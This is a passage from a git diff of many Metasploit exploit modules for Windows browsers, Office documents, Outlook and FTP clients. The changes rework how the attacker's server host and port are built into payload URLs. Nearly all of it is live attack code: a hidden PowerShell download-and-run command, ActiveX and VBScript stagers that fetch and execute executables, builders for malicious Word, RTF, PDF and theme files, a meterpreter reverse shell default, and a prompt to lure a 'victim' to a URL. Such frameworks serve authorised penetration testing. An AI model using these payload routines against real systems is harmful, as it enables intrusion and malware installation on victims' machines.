     if path =~ /\.dll$/i
       # Response for the DLL
@@ -415,7 +422,7 @@ def exploit
     if (datastore['UNCHOST'])
       unc << datastore['UNCHOST'].dup
     else
-      unc << ((srvhost == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : srvhost)
+      unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
     end
     unc << "\\"
     unc << rand_text_alpha(rand(8) + 4)
diff --git a/modules/exploits/windows/browser/ms16_051_vbscript.rb b/modules/exploits/windows/browser/ms16_051_vbscript.rb
index e5b689e7b8ad2..f5cb8974c219e 100644
--- a/modules/exploits/windows/browser/ms16_051_vbscript.rb
+++ b/modules/exploits/windows/browser/ms16_051_vbscript.rb
@@ -57,6 +57,9 @@ def setup
   end
 
   def exploit_html(req_uri)
+    srvhost = datastore['SRVHOST']
+    srvport = datastore['SRVPORT']
+
     template = <<-EOF
     <html>
     <head>
@@ -281,7 +284,7 @@ def exploit_html(req_uri)
             function getdll(downloadFile)
             {
                 oReq = new XMLHttpRequest();
-                oReq.open("GET", "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{req_uri}/"+downloadFile, true);
+                oReq.open("GET", "http://#{srvhost}:#{srvport}#{req_uri}/"+downloadFile, true);
                 oReq.onreadystatechange = handler;
                 oReq.send();
             }
@@ -414,7 +417,7 @@ def stage2_html(req_uri)
                 overwrite arg1, olescript + &H174
 
                 Set shObj = CreateObject("Wscript.shell")
-                shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'\\#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{srvhost}:#{datastore['SRVPORT']}#{req_uri}/#{@payload_uri}',$d);Start-Process $d")
+                shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'\\#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{req_uri}/#{@payload_uri}',$d);Start-Process $d")
                 shObj.Run("%temp%\\#{@payload_exe}")
 
             End Function
diff --git a/modules/exploits/windows/browser/msvidctl_mpeg2.rb b/modules/exploits/windows/browser/msvidctl_mpeg2.rb
index 8fb3b40954856..41400a5fcf24d 100644
--- a/modules/exploits/windows/browser/msvidctl_mpeg2.rb
+++ b/modules/exploits/windows/browser/msvidctl_mpeg2.rb
@@ -78,6 +78,14 @@ def initialize(info = {})
     @javascript_encode_key = rand_text_alpha(rand(10) + 10)
   end
 
+  def get_srvhost
+    # If the SRVHOST isn't the default 0.0.0.0, obviously the user wants to
+    # specify, so we will not force source_address()
+    return datastore['SRVHOST'] if datastore['SRVHOST'] != '0.0.0.0'
+
+    Rex::Socket.source_address(cli.peerhost)
+  end
+
   def on_request_uri(cli, request)
     if (request.uri.match(/\.gif$/i))
 
@@ -189,7 +197,13 @@ def on_request_uri(cli, request)
     j_memory = rand_text_alpha(rand(100) + 1)
     j_counter = rand_text_alpha(rand(30) + 2)
 
-    gif_uri = get_uri(cli)
+    host = get_srvhost + ":" + (datastore["SRVPORT"].to_s)
+    gif_uri = "http#{(datastore['SSL'] ? 's' : '')}://#{host}"
+    if ("/" == get_resource[-1, 1])
+      gif_uri << get_resource[0, get_resource.length - 1]
+    else
+      gif_uri << get_resource
+    end
     gif_uri << "/" + Time.now.to_i.to_s + ".gif"
 
     js = %Q|#{j_shellcode}=unescape('#{shellcode}');
diff --git a/modules/exploits/windows/browser/notes_handler_cmdinject.rb b/modules/exploits/windows/browser/notes_handler_cmdinject.rb
index 4d49f1cd1f259..217e4e95fb06b 100644
--- a/modules/exploits/windows/browser/notes_handler_cmdinject.rb
+++ b/modules/exploits/windows/browser/notes_handler_cmdinject.rb
@@ -116,7 +116,14 @@ def on_request_uri(cli, request)
       return
     end
 
-    uri = "#{get_uri(cli)}/#{rand_text_alpha(rand(6) + 3)}.exe"
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    if datastore['SSL']
+      schema = "https"
+    else
+      schema = "http"
+    end
+    uri = "#{schema}://#{my_host}"
+    uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6) + 3)}.exe"
 
     script = "var w=new ActiveXObject('wscript.shell');"
     script << "w.CurrentDirectory=w.ExpandEnvironmentStrings('\\%TEMP\\%');"
diff --git a/modules/exploits/windows/browser/persits_xupload_traversal.rb b/modules/exploits/windows/browser/persits_xupload_traversal.rb
index 6952f6199c46e..bbb6b6f1c1d50 100644
--- a/modules/exploits/windows/browser/persits_xupload_traversal.rb
+++ b/modules/exploits/windows/browser/persits_xupload_traversal.rb
@@ -80,7 +80,8 @@ def on_request_uri(cli, request)
       end
       exe_uri << "?" + token
 
-      exe_host = srvhost_addr
+      exe_host = ""
+      exe_host << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
 
       exe_hostport = datastore['SRVPORT']
 
diff --git a/modules/exploits/windows/browser/real_arcade_installerdlg.rb b/modules/exploits/windows/browser/real_arcade_installerdlg.rb
index a8fca80acc25a..0fc5f0868130d 100644
--- a/modules/exploits/windows/browser/real_arcade_installerdlg.rb
+++ b/modules/exploits/windows/browser/real_arcade_installerdlg.rb
@@ -85,7 +85,8 @@ def on_request_uri(cli, request)
     end
 
     # Payload's URL
-    payload_src = "#{get_uri(cli)}/#{@payload_name}.exe"
+    payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe"
 
     # Create the stager (download + execute payload)
     stager_name = rand_text_alpha(6) + ".vbs"
diff --git a/modules/exploits/windows/browser/safari_xslt_output.rb b/modules/exploits/windows/browser/safari_xslt_output.rb
index 2ced147bd931d..9d138185aaf38 100644
--- a/modules/exploits/windows/browser/safari_xslt_output.rb
+++ b/modules/exploits/windows/browser/safari_xslt_output.rb
@@ -70,8 +70,9 @@ def on_request_uri(cli, request)
       return
     end
 
-    url = get_uri(cli)
-    url << '/' unless url.end_with?('/')
+    url = "http://"
+    url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"
 
     content = <<~EOS
       <?xml-stylesheet type="text/xml" href="#fragment"?>
diff --git a/modules/exploits/windows/browser/samsung_security_manager_put.rb b/modules/exploits/windows/browser/samsung_security_manager_put.rb
index b1502a755941c..0a9a9cafc3e37 100644
--- a/modules/exploits/windows/browser/samsung_security_manager_put.rb
+++ b/modules/exploits/windows/browser/samsung_security_manager_put.rb
@@ -76,7 +76,9 @@ def encode_js(string)
   def on_request_uri(cli, request)
     js_name = rand_text_alpha(rand(10) + 5) + '.js'
 
-    payload_url = "#{get_uri(cli)}/#{js_name}"
+    payload_url = "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name
 
     # we deliver the JavaScript code that does the work for us
     if (request.uri.match(/.js/))
diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb
index 650735951c3ff..95d4fefc3118b 100644
--- a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb
+++ b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb
@@ -63,7 +63,9 @@ def check_dependencies
   end
 
   def on_request_uri(cli, request)
-    payload_url = "#{get_uri(cli)}/PAYLOAD"
+    payload_url = "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/PAYLOAD"
 
     if (request.uri.match(/PAYLOAD/))
       return if ((p = regenerate_payload(cli)) == nil)
diff --git a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb
index f002146216d6e..2eb93ee852fec 100644
--- a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb
+++ b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb
@@ -54,7 +54,9 @@ def check_dependencies
   end
 
   def on_request_uri(cli, request)
-    payload_url = "#{get_uri(cli)}/payload"
+    payload_url = "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
 
     if (request.uri.match(/payload/))
       return if ((p = regenerate_payload(cli)) == nil)
diff --git a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb
index 210c94bc96851..05ed2b6cc800b 100644
--- a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb
+++ b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb
@@ -53,7 +53,9 @@ def check_dependencies
   end
 
   def on_request_uri(cli, request)
-    payload_url = "#{get_uri(cli)}/payload"
+    payload_url = "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
 
     if (request.uri.match(/payload/))
       return if ((p = regenerate_payload(cli)) == nil)
diff --git a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb
index 64a597738ac1b..ae7b49455e9b2 100644
--- a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb
+++ b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb
@@ -103,8 +103,9 @@ def on_request_uri(cli, request)
   end
 
   def prompt_uplay(cli, request)
-    url = get_uri(cli)
-    url << '/' unless url.end_with?('/')
+    url = "http://"
+    url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"
 
     path = "#{@exploit_unc}#{@share_name}\\#{@basename}.exe"
 
@@ -134,6 +135,9 @@ def prompt_uplay(cli, request)
   end
 
   def process_get(cli, request)
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    webdav = "\\\\#{myhost}\\"
+
     if blacklisted_path?(request.uri)
       vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
       resp = create_response(404, "Not Found")
@@ -195,6 +199,10 @@ def process_options(cli, request)
   def process_propfind(cli, request)
     path = request.uri
     vprint_status("PROPFIND #{path}")
+    body = ''
+
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    my_uri = "http://#{my_host}/"
 
     if path !~ /\/$/
 
@@ -412,14 +420,16 @@ def exploit
       @uplay_uri = rand_text_alpha(8)
     end
 
-    @exploit_unc = "\\\\#{srvhost_addr}\\"
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
+
+    @exploit_unc = "\\\\#{myhost}\\"
 
     if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
       fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
     end
 
     vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")
-    print_good("Please let your victim browse to this exploit URI: http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}/#{@uplay_uri}")
+    print_good("Please let your victim browse to this exploit URI: http://#{myhost}:#{datastore['SRVPORT']}/#{@uplay_uri}")
 
     super
   end
diff --git a/modules/exploits/windows/browser/webdav_dll_hijacker.rb b/modules/exploits/windows/browser/webdav_dll_hijacker.rb
index d71905a9ce67c..5a07f1f8dcd0a 100644
--- a/modules/exploits/windows/browser/webdav_dll_hijacker.rb
+++ b/modules/exploits/windows/browser/webdav_dll_hijacker.rb
@@ -83,6 +83,9 @@ def on_request_uri(cli, request)
   end
 
   def process_get(cli, request)
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    webdav = "\\\\#{myhost}\\"
+
     if blacklisted_path?(request.uri)
       print_status("GET => 404 [BLACKLIST] (#{request.uri})")
       resp = create_response(404, "Not Found")
@@ -144,6 +147,10 @@ def process_options(cli, request)
   def process_propfind(cli, request)
     path = request.uri
     print_status("PROPFIND #{path}")
+    body = ''
+
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    my_uri = "http://#{my_host}/"
 
     if path !~ /\/$/
 
@@ -348,7 +355,9 @@ def blacklisted_path?(uri)
   end
 
   def exploit
-    @exploit_unc = "\\\\#{srvhost_addr}\\"
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
+
+    @exploit_unc = "\\\\#{myhost}\\"
 
     if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
       fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
diff --git a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb
index 5b1bf5c7374e4..a71f5b4dea472 100644
--- a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb
+++ b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb
@@ -59,7 +59,9 @@ def check_dependencies
   end
 
   def on_request_uri(cli, request)
-    payload_url = "#{get_uri(cli)}/payload"
+    payload_url = "http://"
+    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
 
     if (request.uri.match(/payload/))
       return if ((p = regenerate_payload(cli)) == nil)
diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb
index ccfeb6474bed2..8f087428be11b 100644
--- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb
+++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb
@@ -141,7 +141,8 @@ def on_request_uri(cli, request)
     end
 
     # Payload's URL
-    payload_src = "#{get_uri(cli)}/#{@payload_name}.exe"
+    payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe"
 
     # Create the stager (download + execute payload)
     stager = build_vbs(payload_src)
diff --git a/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb b/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb
index a30bf09748a56..c8307a779fa88 100644
--- a/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb
+++ b/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb
@@ -154,6 +154,14 @@ def run
     super
   end
 
+  def setup
+    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
+      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
+    end
+
+    super
+  end
+
   def start_service
     file_name << '.dll'
     self.file_contents = generate_payload_dll
diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb
index 8a6ffc68a2457..a926a565e2e60 100644
--- a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb
+++ b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb
@@ -103,6 +103,9 @@ def on_request_uri(cli, request)
   end
 
   def process_get(cli, request)
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    webdav = "\\\\#{myhost}\\"
+
     if (request.uri =~ /\.exe$/i)
       print_status "Sending EXE payload #{cli.peerhost}:#{cli.peerport} ..."
       return if ((p = regenerate_payload(cli)) == nil)
@@ -143,6 +146,10 @@ def process_options(cli, request)
   def process_propfind(cli, request)
     path = request.uri
     print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
+    body = ''
+
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    my_uri = "http://#{my_host}/"
 
     if path =~ /\.exe$/i
       # Response for the DLL
@@ -311,7 +318,7 @@ def exploit
     if (datastore['UNCHOST'])
       unc = datastore['UNCHOST'].dup
     else
-      unc = srvhost_addr
+      unc = ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
     end
 
     @exploit_unc_host = unc
diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb
index b491902860601..5ca2bfb354397 100644
--- a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb
+++ b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb
@@ -99,6 +99,9 @@ def on_request_uri(cli, request)
   end
 
   def process_get(cli, request)
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    webdav = "\\\\#{myhost}\\"
+
     if (request.uri =~ /\.exe$/i)
       print_status "Sending EXE payload"
       return if ((p = regenerate_payload(cli)) == nil)
@@ -139,6 +142,10 @@ def process_options(cli, request)
   def process_propfind(cli, request)
     path = request.uri
     print_status("Received WebDAV PROPFIND request from: #{path}")
+    body = ''
+
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    my_uri = "http://#{my_host}/"
 
     if path =~ /\.exe$/i
       # Response for the DLL
@@ -307,7 +314,7 @@ def exploit
     if (datastore['UNCHOST'])
       unc = datastore['UNCHOST'].dup
     else
-      unc = srvhost_addr
+      unc = ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
     end
 
     @exploit_unc_host = unc
diff --git a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb
index 8838117b23f44..cd669b3be41af 100644
--- a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb
+++ b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb
@@ -123,6 +123,10 @@ def process_options(cli, request)
   def process_propfind(cli, request)
     path = request.uri
     vprint_status("Received WebDAV PROPFIND request from: #{path}")
+    body = ''
+
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    my_uri = "http://#{my_host}/"
 
     if path !~ /\/$/
       if path.index(".")
diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb
index 5cf32760d359a..c90f2823ccd01 100644
--- a/modules/exploits/windows/fileformat/ms12_005.rb
+++ b/modules/exploits/windows/fileformat/ms12_005.rb
@@ -208,14 +208,14 @@ def package_docm_rex(path)
   # Return the malicious executable
   #
   def on_client_connect(cli)
-    print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length} bytes)")
+    print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)")
     cli.put(@exe)
     service.close_client(cli)
   end
 
   def exploit
-    @ip = srvhost_addr
-    @port = srvport
+    @ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
+    @port = datastore['SRVPORT']
 
     print_status("Generating our docm file...")
     path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013')
@@ -227,7 +227,7 @@ def exploit
     print_status("Generating our malicious executable...")
     @exe = generate_payload_exe
 
-    print_status("Ready to deliver your payload on #{Rex::Socket.to_authority(@ip, @port)}")
+    print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}")
     super
   end
 end
diff --git a/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb b/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb
index b9b773f6d5287..faeea32fd7ad7 100644
--- a/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb
+++ b/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb
@@ -88,7 +88,7 @@ def build_vbs(url, stager_name)
     <script language="VBScript">
     On Error Resume Next
     Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP")
-    #{name_xmlhttp}.open "GET","#{url}",False
+    #{name_xmlhttp}.open "GET","http://#{url}",False
     #{name_xmlhttp}.send
     Set #{name_adodb} = CreateObject("ADODB.Stream")
     #{name_adodb}.Open
@@ -119,8 +119,13 @@ def exploit
     @payload_name = rand_text_alpha(4)
     @temp_folder = "/Windows/Temp"
     register_file_for_cleanup("C:#{@temp_folder}/#{@payload_name}.hta")
-
-    payload_src = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{datastore['URIPATH']}#{@payload_name}.exe"
+    if datastore['SRVHOST'] == '0.0.0.0'
+      lhost = Rex::Socket.source_address('50.50.50.50')
+    else
+      lhost = datastore['SRVHOST']
+    end
+    payload_src = lhost
+    payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
     stager_name = rand_text_alpha(6) + ".vbs"
     pdf = %Q|%PDF-1.7
     4 0 obj
diff --git a/modules/exploits/windows/fileformat/office_word_hta.rb b/modules/exploits/windows/fileformat/office_word_hta.rb
index 3d2197a580556..2b21d1783bd1b 100644
--- a/modules/exploits/windows/fileformat/office_word_hta.rb
+++ b/modules/exploits/windows/fileformat/office_word_hta.rb
@@ -77,9 +77,10 @@ def initialize(info = {})
   def generate_uri
     uri_maxlength = 112
 
+    host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
     scheme = datastore['SSL'] ? 'https' : 'http'
 
-    uri = "#{scheme}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}/#{Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}"
+    uri = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}"
     uri = Rex::Text.hexify(Rex::Text.to_unicode(uri))
     uri.delete!("\n")
     uri.delete!('\\x')
diff --git a/modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb b/modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb
index 4a866a01b4487..f48d878e401a9 100644
--- a/modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb
+++ b/modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb
@@ -135,7 +135,7 @@ def make_theme
       WallpaperStyle=10
 
       [VisualStyles]
-      Path=\\\\#{srvhost_addr}\\#{@share}\\#{@file_name}
+      Path=\\\\#{datastore['SRVHOST']}\\#{@share}\\#{@file_name}
       ColorStyle=NormalColor
       Size=NormalSize
 
diff --git a/modules/exploits/windows/fileformat/word_msdtjs_rce.rb b/modules/exploits/windows/fileformat/word_msdtjs_rce.rb
index 669304fd4ac24..a212f5e3341df 100644
--- a/modules/exploits/windows/fileformat/word_msdtjs_rce.rb
+++ b/modules/exploits/windows/fileformat/word_msdtjs_rce.rb
@@ -45,7 +45,8 @@ def initialize(info = {})
         'DefaultOptions' => {
           'DisablePayloadHandler' => false,
           'FILENAME' => 'msf.docx',
-          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
+          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
+          'SRVHOST' => Rex::Socket.source_address('1.2.3.4')
         },
         'Targets' => [
           [ 'Microsoft Office Word', {} ]
@@ -82,7 +83,7 @@ def get_template_path
   end
 
   def generate_html
-    uri = "#{@proto}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{normalize_uri(@my_resources.first.to_s)}.ps1"
+    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.ps1"
 
     dummy = ''
     (1..random_int(61, 100)).each do |_n|
@@ -117,7 +118,7 @@ def inject_docx
       fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
     end
 
-    uri = "#{@proto}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{normalize_uri(@my_resources.first.to_s)}.html"
+    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
     @docx.each do |entry|
       case entry[:fname]
       when 'word/_rels/document.xml.rels'
@@ -179,7 +180,7 @@ def pack_docx
   def build_rtf
     print_status('Generating a malicious rtf file')
 
-    uri = "#{@proto}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{normalize_uri(@my_resources.first.to_s)}.html"
+    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
     uri_space = 76 # this includes the required null character
     uri_max = uri_space - 1
     if uri.length > uri_max
diff --git a/modules/exploits/windows/fileformat/word_mshtml_rce.rb b/modules/exploits/windows/fileformat/word_mshtml_rce.rb
index 60a3b18464dc0..8eda9826dbc5a 100644
--- a/modules/exploits/windows/fileformat/word_mshtml_rce.rb
+++ b/modules/exploits/windows/fileformat/word_mshtml_rce.rb
@@ -179,7 +179,7 @@ def create_cab(data)
   end
 
   def generate_html
-    uri = "#{@proto}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{normalize_uri(@my_resources.first.to_s)}.cab"
+    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab"
     inf = "#{File.basename(@my_resources.first)}.inf"
 
     file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')
@@ -225,7 +225,7 @@ def inject_docx
       fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
     end
 
-    uri = "#{@proto}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{normalize_uri(@my_resources.first.to_s)}.html"
+    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
     @docx.each do |entry|
       case entry[:fname]
       when 'word/document.xml'
@@ -322,6 +322,9 @@ def primer
     print_status('CVE-2021-40444: Generate a malicious docx file')
 
     @proto = (datastore['SSL'] ? 'https' : 'http')
+    if datastore['SRVHOST'] == '0.0.0.0'
+      datastore['SRVHOST'] = Rex::Socket.source_address
+    end
 
     template_path = get_template_path
     unless File.extname(template_path).match(/\.docx$/i)
diff --git a/modules/exploits/windows/ftp/ayukov_nftp.rb b/modules/exploits/windows/ftp/ayukov_nftp.rb
index 1aec5344af684..01b7381b4d512 100644
--- a/modules/exploits/windows/ftp/ayukov_nftp.rb
+++ b/modules/exploits/windows/ftp/ayukov_nftp.rb
@@ -38,6 +38,9 @@ def initialize(info = {})
           [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
         ],
         'Privileged' => false,
+        'DefaultOptions' => {
+          'SRVHOST' => '0.0.0.0',
+        },
         'DisclosureDate' => '2017-10-21',
         'DefaultTarget' => 0,
         'Notes' => {
@@ -56,7 +59,18 @@ def initialize(info = {})
   end
 
   def exploit
-    print_status("Please ask your target(s) to connect to #{Rex::Socket.to_authority(srvhost_addr, srvport)}")
+    srv_ip_for_client = datastore['SRVHOST']
+    if srv_ip_for_client == '0.0.0.0'
+      if datastore['LHOST']
+        srv_ip_for_client = datastore['LHOST']
+      else
+        srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
+      end
+    end
+
+    srv_port = datastore['SRVPORT']
+
+    print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
     super
   end
 
diff --git a/modules/exploits/windows/ftp/freefloatftp_wbem.rb b/modules/exploits/windows/ftp/freefloatftp_wbem.rb
index 6d457f9203d0a..74cc02fd05e73 100644
--- a/modules/exploits/windows/ftp/freefloatftp_wbem.rb
+++ b/modules/exploits/windows/ftp/freefloatftp_wbem.rb
@@ -116,8 +116,8 @@ def upload(filename)
     send_cmd(['TYPE', 'I'], true, conn)
 
     # Prepare active mode: Get attacker's IP and source port
-    src_ip = srvhost_addr
-    src_port = srvport
+    src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
+    src_port = datastore['SRVPORT'].to_i
 
     # Prepare active mode: Convert the IP and port for active mode
     src_ip = src_ip.gsub(/\./, ',')
diff --git a/modules/exploits/windows/ftp/ftpshell_cli_bof.rb b/modules/exploits/windows/ftp/ftpshell_cli_bof.rb
index 9f589abd6348a..da147e0011638 100644
--- a/modules/exploits/windows/ftp/ftpshell_cli_bof.rb
+++ b/modules/exploits/windows/ftp/ftpshell_cli_bof.rb
@@ -37,6 +37,7 @@ def initialize(info = {})
         ],
         'Privileged' => false,
         'DefaultOptions' => {
